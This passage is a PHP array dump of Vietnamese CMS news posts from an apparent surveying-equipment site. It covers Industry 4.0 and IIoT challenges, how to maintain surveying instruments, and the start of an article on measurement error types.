'ngaykhoihanh' => null, 'thoigiandi' => null, 'ngaykhoihanh_eng' => null, 'thoigiandi_eng' => null, 'videoyou' => null, 'nt' => null, 'duration' => null, 'duration_eng' => null, 'twodaypro' => null, 'twodaypro_eng' => null, 'threedaypro' => null, 'threedaypro_eng' => null, 'photo' => null, 'lft' => '943', 'rght' => '944', 'vat' => null, 'hangsx' => null, 'baohanh' => null, 'tinhtrang' => '1', 'tailieu' => null, 'tag' => null ), 'Catproduct' => array( 'id' => '40', 'name' => 'Tin Tức', 'parent_id' => null, 'alias' => 'tin-tuc', 'images' => '', 'lft' => '119', 'rght' => '120', 'pos' => '5', 'status' => '1', 'title_seo' => '', 'meta_key' => '', 'meta_des' => '', 'created' => '2015-12-16', 'modified' => '2019-07-06', 'slug' => 'tin-tuc', 'cate' => '4', 'link' => 'tin-tuc', 'name_eng' => '', 'name_tq' => '', 'type' => 'new', 'hot' => '0', 'content' => '', 'display' => '0', 'content_eng' => null ) ), (int) 1 => array( 'Post' => array( 'id' => '538', 'name' => 'Làm thế nào để các nhà sản xuất có thể sẵn sàng cho cách mạng công nghiệp 4.0 và IIoT?', 'code' => null, 'alias' => 'lam-the-nao-de-cac-nha-san-xuat-co-the-san-sang-cho-cach-mang-cong-nghiep-4-0-va-iiot', 'cat_id' => '40', 'price' => '0', 'type' => 'new', 'shortdes' => '<span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span style="color: rgb(74, 74, 74);">Công nghiệp 4.0 là giai đoạn hiện tại của cách mạng công nghiệp. Đại diện cho việc sử dụng rộng rãi </span><em style="box-sizing: border-box; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;">Mạng lưới vạn vật kết nối Internet</em><span style="color: rgb(74, 74, 74);"> (IIoT), tự động hóa, công nghệ cảm biến và các giải pháp cải tiến khác để hợp lí hóa sản xuất và phân phối</span></span></span>', 'content' => '<h1 style="box-sizing: border-box; font-size: 28px; margin: 0px 0px 17px; font-weight: normal; line-height: 36px;"> </h1> <p style="box-sizing: border-box; margin: 0px 0px 10px; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Công nghiệp 4.0 là giai đoạn hiện tại của cách mạng công nghiệp. Đại diện cho việc sử dụng rộng rãi <em style="box-sizing: border-box;">Mạng lưới vạn vật kết nối Internet</em> (IIoT), tự động hóa, công nghệ cảm biến và các giải pháp cải tiến khác để hợp lí hóa sản xuất và phân phối</span></span></p> <p style="box-sizing: border-box; margin: 0px 0px 10px; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Công nghiệp 4.0 mang đến khái niệm “Nhà máy thông minh”. Tập trung vào việc sử dụng hệ thống không gian mạng thực-ảo để giám sát quy trình nhà máy thực tế và tạo các quyết định tự động dựa trên cơ sở dữ liệu. Tạo hệ thống thực tế thông minh sử dụng IoT và giao tiếp thời gian thực , chúng kết hợp với nhau, với con người thông qua mạng không dây.</span></span></p> <p style="box-sizing: border-box; margin: 0px 0px 10px; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;"> <img alt="" src="/admin/webroot/upload/image/images/CM 4_0.jpg" style="width: 320px; height: 158px;" /></p> <p style="box-sizing: border-box; margin: 0px 0px 10px; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"> <span style="box-sizing: border-box; font-weight: 700;">Vai trò của IIoT trong công nghiệp 4.0</span></span></span></p> <p style="box-sizing: border-box; margin: 0px 0px 10px; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;"> <span style="font-family: tahoma, geneva, sans-serif; font-size: 14px;">IIoT hình thành xương sống cho bất kỳ s</span><span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><span style="color: rgb(34, 34, 34);">á</span></span></span><span style="font-family: tahoma, geneva, sans-serif; font-size: 14px;">ng kiến nào hướng đến công nghiệp 4.0. Bằng cách sử dụng công nghệ cảm biến, IIoT cho phép truyền tín hiệu từ máy móc sang hệ thống máy tính. Trong khi thông tin cơ bản về máy móc chỉ có thể truy cập được trong khoảng thời gian rất nhỏ, IIoT vẫn mang về cái nhìn tối tân hơn nhiều về lĩnh vực kinh doanh. Thông cụ thể này cung cấp phạm vi cho tự động hóa. Nếu được phân tích đúng cách, dữ liệu nhận được từ cảm biến IoT có thể cung cấp thông tin để tối ưu hóa các khía cạnh khác nhau của quy trình sản xuất.</span></p> <p style="box-sizing: border-box; margin: 0px 0px 10px; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;"> </p> <p style="box-sizing: border-box; margin: 0px 0px 10px; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;"> <span style="font-weight: 700; font-family: tahoma, geneva, sans-serif; font-size: 14px;">Làm gì để một nhà máy sẵn sàng cho Công nghiệp 4.0?</span></p> <p style="box-sizing: border-box; margin: 0px 0px 10px; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><span style="box-sizing: border-box; font-weight: 700;"> </span>Đây là 4 điều kiện tiên quyết cho 1 nhà máy hoặc hệ thống cần có thì mới được gọi là Công nghiệp 4.0</span></span></p> <ol style="box-sizing: border-box; margin: 0px 0px 30px 25px; list-style-position: initial; list-style-image: initial; padding: 0px; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;"> <li style="box-sizing: border-box;"> <h1 style="box-sizing: border-box; font-size: 28px; margin: 0px 0px 17px; font-weight: normal; line-height: 36px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><span style="box-sizing: border-box; font-weight: 700;">Khả năng giao tiếp</span></span></span></h1> </li> </ol> <p style="box-sizing: border-box; margin: 0px 0px 10px; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Thiêt lập đường truyền giao tiếp , xác định rõ ràng phương thức trao đổi, sử dụng, thu thập dữ liệu. Các máy móc, thiết bị, cảm biến và cả con người phải được kết nối, chia sẻ thông tin và thao tác trên dữ liệu nhận được.</span></span></p> <ol start="2" style="box-sizing: border-box; margin: 0px 0px 30px 25px; list-style-position: initial; list-style-image: initial; padding: 0px; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;"> <li style="box-sizing: border-box;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><span style="box-sizing: border-box; font-weight: 700;">Minh bạch thông tin</span></span></span></li> </ol> <p style="box-sizing: border-box; margin: 0px 0px 10px; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Điều quan trọng là thông tin nhận được phải rõ rang, ngắn gọn và dễ hiểu. Hệ thống tạo ra một "bản sao" của thế giới thật, bản sao này định hình bằng các dữ liệu thu thập từ cảm biến, máy móc</span></span></p> <ol start="3" style="box-sizing: border-box; margin: 0px 0px 30px 25px; list-style-position: initial; list-style-image: initial; padding: 0px; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;"> <li style="box-sizing: border-box;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><span style="box-sizing: border-box; font-weight: 700;">Hỗ trợ kỹ thuật</span></span></span></li> </ol> <p style="box-sizing: border-box; margin: 0px 0px 10px; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Hệ thông này sẽ giúp con người theo 2 cách. Thứ nhất, nó sẽ hỗ trợ chúng ta ra quyết định và giải quyết vấn đề bằng cách cung cấp thông tin cho tiết dựa vào dữ liệu. Thứ hai, nó sẽ hỗ trợ chúng ta làm những việc quá phức tạp hoặc không an toàn</span></span></p> <ol start="4" style="box-sizing: border-box; margin: 0px 0px 30px 25px; list-style-position: initial; list-style-image: initial; padding: 0px; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;"> <li style="box-sizing: border-box;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><span style="box-sizing: border-box; font-weight: 700;">Đưa quyết định theo mô hình phân tán</span></span></span></li> </ol> <p style="box-sizing: border-box; margin: 0px 0px 10px; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Các hệ thống không gian mạng thực-ảo phải có khả năng đưa ra quyết định đơn giản mọt cách nhanh chóng, tự động, không cần con người can thiệp sử dụng phân tích dữ liệu. Mục tiêu cuối cùng của công nghiệp 4.0 là tự động hóa quy trình sản xuất và tối đa hóa quy mô. Sử dụng quy trình tự động hóa này, công việc có thể được thực hiện bằng máy móc, tăng phạm vi tối ưu hóa thời gian và phân bổ nguồn lực.</span></span></p> <p style="box-sizing: border-box; margin: 0px 0px 10px; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;"> </p> <p style="box-sizing: border-box; margin: 0px 0px 10px; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><span style="box-sizing: border-box; font-weight: 700;">Thử thách liên quan đến việc triển khai công nghiệp 4.0?</span></span></span></p> <p style="box-sizing: border-box; margin: 0px 0px 10px; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;"> <img alt="" src="/admin/webroot/upload/image/images/CM 4_0 2(1).jpg" style="width: 276px; height: 182px;" /></p> <p style="box-sizing: border-box; margin: 0px 0px 10px; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;"> <span style="font-family: tahoma, geneva, sans-serif; font-size: 14px;">Triển khai công nghiệp 4.0 cũng có thể sẽ gặp phải các khó khăn sau:</span></p> <ol style="box-sizing: border-box; margin: 0px 0px 30px 25px; list-style-position: initial; list-style-image: initial; padding: 0px; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;"> <li style="box-sizing: border-box;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><span style="box-sizing: border-box; font-weight: 700;">Vấn đề bảo mật</span></span></span></li> </ol> <p style="box-sizing: border-box; margin: 0px 0px 10px; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Toàn bộ dữ liệu đều có sẵn , truyền qua Internet đến thiết bị từ xa. Điều này cho thấy dữ liệu rất có nguy cơ bị xâm phạm bảo mật, ăn cắp và thao tác.</span></span></p> <p style="box-sizing: border-box; margin: 0px 0px 10px; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Kiến thức sản xuất độc quyền, nếu bị xâm nhập, sẽ có thể dẫn đến thiệt hại lớn đến doanh thu của công ty.</span></span></p> <ol start="2" style="box-sizing: border-box; margin: 0px 0px 30px 25px; list-style-position: initial; list-style-image: initial; padding: 0px; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;"> <li style="box-sizing: border-box;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><span style="box-sizing: border-box; font-weight: 700;">Tin tưởng và ổn định</span></span></span></li> </ol> <p style="box-sizing: border-box; margin: 0px 0px 10px; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Nếu thông tin liên lạc nhận được qua cảm biến IoT không được sắp xếp hoặc không đúng lúc sẽ được xem là không đáng tin cậy. Rõ rang, bạn không thể tự động hóa một nhà máy hoạt động dựa trên dữ liệu không đáng tin cậy. Việc duy trì sự toàn vẹn quy trình sản xuất trong khi giảm thiểu sự can thiệp của con người rất phức tạp</span></span></p> <ol start="3" style="box-sizing: border-box; margin: 0px 0px 30px 25px; list-style-position: initial; list-style-image: initial; padding: 0px; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;"> <li style="box-sizing: border-box;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><span style="box-sizing: border-box; font-weight: 700;">Thiết lập kết nối</span></span></span></li> </ol> <p style="box-sizing: border-box; margin: 0px 0px 10px; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Chúng ta gần như không thể đảm bảo kết nối internet 100%. Kể cả khi mạng không có khả năng bị hỏng bất ngờ, bạn vẫn sẽ cần tính đến việc bảo trì máy chủ. Rất khó để đảm bảo không mất dữ liệu ngay cả khi kết nối cực hạn hoặc bùng phát đột ngột.</span></span></p> <ol start="4" style="box-sizing: border-box; margin: 0px 0px 30px 25px; list-style-position: initial; list-style-image: initial; padding: 0px; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;"> <li style="box-sizing: border-box;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><span style="box-sizing: border-box; font-weight: 700;">Phối hợp hệ thống cũ với IIoT</span></span></span></li> </ol> <p style="box-sizing: border-box; margin: 0px 0px 10px; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Các hệ thống cũ không được thiết kế để tuân thủ các yêu cầu của công nghệ cảm biến. Nhưng hiện đại hóa toàn bộ cơ sở hạ tầng là không khả khi đối với phần lớn các nhà sản xuất. Vì vậy, đòi hỏi phải phối hợp IIoT với hệ thống máy móc cũ để đảm bảo ROI tốt nhất với sự đầu tư của nhà sản xuất.</span></span></p> <p style="box-sizing: border-box; margin: 0px 0px 10px; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Ngoài nhứng thách thức trên, nhà sản xuất cũng phải đối mặt với các vấn đề từ nhà đầu tư, đội ngũ kỹ thuật nội bộ. Các nhà đầu tư khá miễn cưỡng với các cuộc cách mạng quy mô lớn. Đồng thời, năng lực IT có sẵn không thường xuyên được cập nhật để xử lý những thách thức này. Dữ liệu nghiên cứu thị trường và xu hướng chuyển đổi kỹ thuật số đã mở ra cái nhìn mới cho nhà đầu tư. Hạn chế về năng lực kỹ thuật vẫn sẽ là mối quan tâm chung khi triển khai bất kỳ IIoT.</span></span></p> ', 'images' => '201905200812307bda1a1c4b780f467d4ece9a47eb5c1b.jpg', 'images_multi' => '', 'pos' => null, 'new' => null, 'hot' => null, 'saleoff' => null, 'title_seo' => '', 'meta_key' => '', 'meta_des' => '', 'created' => '2019-05-20', 'modified' => '2025-08-19', 'status' => '1', 'view' => '63417', 'slug' => 'lam-the-nao-de-cac-nha-san-xuat-co-the-san-sang-cho-cach-mang-cong-nghiep-4-0-va-iiot', 'name_eng' => '', 'shortdes_eng' => '', 'content_eng' => '', 'phut' => null, 'shortdes_tq' => null, 'content_tq' => null, 'name_tq' => null, 'nguoilon' => null, 'treem' => null, 'truso' => null, 'don' => null, 'doi' => null, 'lon' => null, 'tour' => null, 'tourtrongnuoc' => null, 'tournuocngoai' => null, 'noiden' => null, 'ngaydi' => null, 'thangdi' => null, 'namdi' => null, 'ngaykhoihanh' => null, 'thoigiandi' => null, 'ngaykhoihanh_eng' => null, 'thoigiandi_eng' => null, 'videoyou' => null, 'nt' => null, 'duration' => null, 'duration_eng' => null, 'twodaypro' => null, 'twodaypro_eng' => null, 'threedaypro' => null, 'threedaypro_eng' => null, 'photo' => null, 'lft' => '941', 'rght' => '942', 'vat' => null, 'hangsx' => null, 'baohanh' => null, 'tinhtrang' => '1', 'tailieu' => null, 'tag' => null ), 'Catproduct' => array( 'id' => '40', 'name' => 'Tin Tức', 'parent_id' => null, 'alias' => 'tin-tuc', 'images' => '', 'lft' => '119', 'rght' => '120', 'pos' => '5', 'status' => '1', 'title_seo' => '', 'meta_key' => '', 'meta_des' => '', 'created' => '2015-12-16', 'modified' => '2019-07-06', 'slug' => 'tin-tuc', 'cate' => '4', 'link' => 'tin-tuc', 'name_eng' => '', 'name_tq' => '', 'type' => 'new', 'hot' => '0', 'content' => '', 'display' => '0', 'content_eng' => null ) ), (int) 2 => array( 'Post' => array( 'id' => '537', 'name' => 'Cách bảo quản thiết bị trắc địa đúng cách', 'code' => null, 'alias' => 'cach-bao-quan-thiet-bi-trac-dia-dung-cach', 'cat_id' => '40', 'price' => '0', 'type' => 'new', 'shortdes' => '<span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;">Bảo quản thiết bị trắc địa đúng cách rất quan trọng đối với các kĩ sư đo đạc. Nhất là khi giá trị của các thiết bị như máy toàn đạc điện tử, máy thủy bình,… không hề nhỏ. Bảo quản thiết bị trắc địa tốt sẽ giúp tiết kiệm nhân công, thời gian, chi phí cho các công trình xây dựng. </span></span>', 'content' => '<span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><strong>Thiết bị trắc địa</strong> cần được bảo quản cẩn thận để phát huy tối đa tính năng sử dụng của nó cũng như giảm chi phí đầu tư. Trước khi sử dụng thiết bị, hãy dành một ít thời gian để đọc và làm theo hướng dẫn bảo trì sau:<br /> - Không để thiết bị dưới ánh mặt trời trực tiếp hoặc trong xe kín trong thời gian dài. Nhiệt độ quá nóng có thể làm giảm hiệu quả của nó.<br /> - Nếu thiết bị đã được sử dụng trong điều kiện ẩm ướt, ngay lập tức lau sạch bất kỳ độ ẩm và làm khô thiết bị hoàn toàn trước khi cho lại thiết bị vào hộp đựng.<br /> - Thiết bị điện tử nhạy cảm đã được bảo vệ tốt trong hộp đựng chống lại bụi và độ ẩm.<br /> Tuy nhiên, nếu bụi hoặc hơi ẩm bám vào dụng cụ, có thể gây ra hư hại nghiêm trọng. Vì vậy, hãy chắc chắn thiết bị của bạn được bỏ vào hộp ngay sau khi sử dụng và vệ sinh.<br /> - Những thay đổi đột ngột về nhiệt độ có thể làm mờ ống kính và giảm đáng kể mức đo được khoảng cách hoặc gây ra lỗi hệ thống điện. Nếu có sự thay đổi đột ngột về nhiệt độ, để dụng cụ trong hộp đựng kín ở vị trí ấm cho đến khi nhiệt độ của thiết bị trở về nhiệt độ phòng.<br /> - Không bảo quản thiết bị trắc địa ở những nơi nóng hoặc ẩm ướt. Đặc biệt, bạn phải lưu trữ bộ pin ở nơi khô ráo ở nhiệt độ dưới 30 ° C (86 ° F). Nhiệt độ cao hoặc độ ẩm quá mức có thể khiến nấm mốc phát triển trên các ống kính. Nó cũng có thể làm cho thị kính điện tử bị mờ đi và do đó dẫn đến việc khó bắt mục tiêu.<br /> <br /> <img alt="" src="/admin/webroot/upload/image/images/DTM 322(1).jpg" style="width: 400px; height: 391px;" /><br /> - Khi bảo quản thiết bị ở những nơi có nhiệt độ cực thấp, hãy để hộp đựng mở.<br /> - Khi điều chỉnh các ốc cân bằng máy, hãy đặt vị trí càng gần vị trí trung tâm của ốc cân bằng máy.<br /> - Không sử dụng dung môi hữu cơ (chẳng hạn như ether hoặc chất pha loãng sơn) để làm sạch các bộ phận phi kim loại của thiết bị (chẳng hạn như bàn phím hoặc các bề mặt được sơn của máy). Làm như vậy có thể dẫn đến đổi màu bề mặt, hoặc lột các ký tự logo. Làm sạch những bộ phận này chỉ bằng một bông gòn, vải hoặc khăn giấy, thấm nhẹ bằng nước hoặc chất tẩy nhẹ.<br /> - Để vệ sinh ống kính quang học, hãy lau nhẹ bằng một miếng vải mềm hoặc bông gòn được thấm cồn.<br /> - Trước khi gắn pin, hãy chắc chắn rằng bề mặt tiếp xúc trên bề mặt pin và dụng cụ đã được lau chùi sạch sẽ.<br /> <br /> <img alt="" src="/admin/webroot/upload/image/images/HOP MAY_02 B40A(2).jpg" /><br /> - Hộp đựng được thiết kế kín nước, nhưng bạn không nên để nó tiếp xúc với mưa lớn.<br /> <br /> Bảo quản thiết bị trắc địa là một trong những khâu quan trọng giúp việc đo đạc được chính xác. Nó giúp hỗ trợ giảm chi phí đầu tư cũng như chi phí sửa chữa máy. Hy vọng những thông tin trên sẽ hữu ích cho bạn.<br /> </span></span>', 'images' => '201905030810258d806bbec8ab9ba5235e121c05e3154a.jpg', 'images_multi' => '', 'pos' => null, 'new' => null, 'hot' => null, 'saleoff' => null, 'title_seo' => '', 'meta_key' => '', 'meta_des' => '', 'created' => '2019-05-03', 'modified' => '2025-08-18', 'status' => '1', 'view' => '75066', 'slug' => 'cach-bao-quan-thiet-bi-trac-dia-dung-cach', 'name_eng' => '', 'shortdes_eng' => '', 'content_eng' => '', 'phut' => null, 'shortdes_tq' => null, 'content_tq' => null, 'name_tq' => null, 'nguoilon' => null, 'treem' => null, 'truso' => null, 'don' => null, 'doi' => null, 'lon' => null, 'tour' => null, 'tourtrongnuoc' => null, 'tournuocngoai' => null, 'noiden' => null, 'ngaydi' => null, 'thangdi' => null, 'namdi' => null, 'ngaykhoihanh' => null, 'thoigiandi' => null, 'ngaykhoihanh_eng' => null, 'thoigiandi_eng' => null, 'videoyou' => null, 'nt' => null, 'duration' => null, 'duration_eng' => null, 'twodaypro' => null, 'twodaypro_eng' => null, 'threedaypro' => null, 'threedaypro_eng' => null, 'photo' => null, 'lft' => '939', 'rght' => '940', 'vat' => null, 'hangsx' => null, 'baohanh' => null, 'tinhtrang' => '1', 'tailieu' => null, 'tag' => null ), 'Catproduct' => array( 'id' => '40', 'name' => 'Tin Tức', 'parent_id' => null, 'alias' => 'tin-tuc', 'images' => '', 'lft' => '119', 'rght' => '120', 'pos' => '5', 'status' => '1', 'title_seo' => '', 'meta_key' => '', 'meta_des' => '', 'created' => '2015-12-16', 'modified' => '2019-07-06', 'slug' => 'tin-tuc', 'cate' => '4', 'link' => 'tin-tuc', 'name_eng' => '', 'name_tq' => '', 'type' => 'new', 'hot' => '0', 'content' => '', 'display' => '0', 'content_eng' => null ) ), (int) 3 => array( 'Post' => array( 'id' => '536', 'name' => 'Các loại sai số, tiêu chí đánh giá độ chính xác kết quả đo', 'code' => null, 'alias' => 'cac-loai-sai-so-tieu-chi-danh-gia-do-chinh-xac-ket-qua-do', 'cat_id' => '40', 'price' => '0', 'type' => 'new', 'shortdes' => '', 'content' => '<div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><span style="box-sizing: border-box; margin: 0px; padding: 0px; font-weight: 700;"><em style="box-sizing: border-box; margin: 0px; padding: 0px;">1. Các loại sai số trong đo đạc.</em></span></span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><em style="box-sizing: border-box; margin: 0px; padding: 0px;">a) Sai số sai lầm.</em></span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Sai số sai lầm là do người đo thiếu cẩn thận trong khi đo, hoặc kỹ thuật đo không bảo đảm. Sai số này thường có giá trị tương đối lớn.</span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">- Khắc phục: đổi người đo</span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><em style="box-sizing: border-box; margin: 0px; padding: 0px;">b) Sai số hệ thống:</em></span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Là những sai số do độ chính xác của máy và không bảo đảm hoặc do thói quen, thị lực của người đo.</span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Sai số hệ thống thường có dấu và giá trị không đổi.</span></span></div> <p style="box-sizing: border-box; margin: 0px 0px 10px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> </p> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Loại trừ sai số hệ thống:</span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">- Nếu do máy thì chúng ta có thể kiểm nghiệm, xác định giá trị sai số của máy rồi lấy kết quả đo trừ đi giá trị sai số đó.</span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">- nếu do người đo thì chúng ta có thể kiểm nghiện sai số của người bằng cách so sánh kết quả của người đo với một vài người đo khác để biết được mức độ sai khác nhau về kết quả, sau đó lấy kết quả đo trừ đi giá trị sai khác đó.</span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><em style="box-sizing: border-box; margin: 0px; padding: 0px;">c) Sai số ngẫu nhiên.</em></span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Là những sai số xuất hiện trong kết quả đo một cách ngẫu nhiên mà không thể xác định được quy luật cũng như giá trị và nguyên nhân của sai số đó.</span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Sai số ngẫu nhiên không thể loại trừ được, tuy nhiên qua nghiên cứu cho thấy sai số ngẫu nhiên có những tính chất sau đây:</span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"> - Các giá trị tuyệt đối của sai số ngẫu nhiên không vượt quá một giá trị nhất định nào đó.</span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">- Các giá trị sai số ngẫu nhiên càng nhỏ thì có khả năng xuất hiện càng nhiều, còn giá trị càng lớn thì xuất hiện càng ít.</span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">- Sai số ngẫu nhiên mang giá trị dương (+) và sai số ngẫu nhiên mang giá trị âm (-) có xác suất xuất hiện bằng nhau khi số lần đo tiến tới vô cùng.</span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">- Tổng đại số của các giá trị sai số ngẫu nhiên của n lần đo cho một đại lượng là bằng không khi:<a href="https://4.bp.blogspot.com/-xRibgiac6uE/Ur6R6Z6lB6I/AAAAAAAADeo/LSe-3TIrzM4/s1600/gisgpsrs-trac-dia-co-so.PNG" imageanchor="1" style="box-sizing: border-box; margin: 0px; padding: 0px; background-color: transparent; color: rgb(51, 51, 51); text-decoration-line: none;"><img border="0" src="https://4.bp.blogspot.com/-xRibgiac6uE/Ur6R6Z6lB6I/AAAAAAAADeo/LSe-3TIrzM4/s1600/gisgpsrs-trac-dia-co-so.PNG" style="box-sizing: border-box; margin: 0px; padding: 0px; border: none; vertical-align: middle; max-width: 100%;" /></a></span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><span style="box-sizing: border-box; margin: 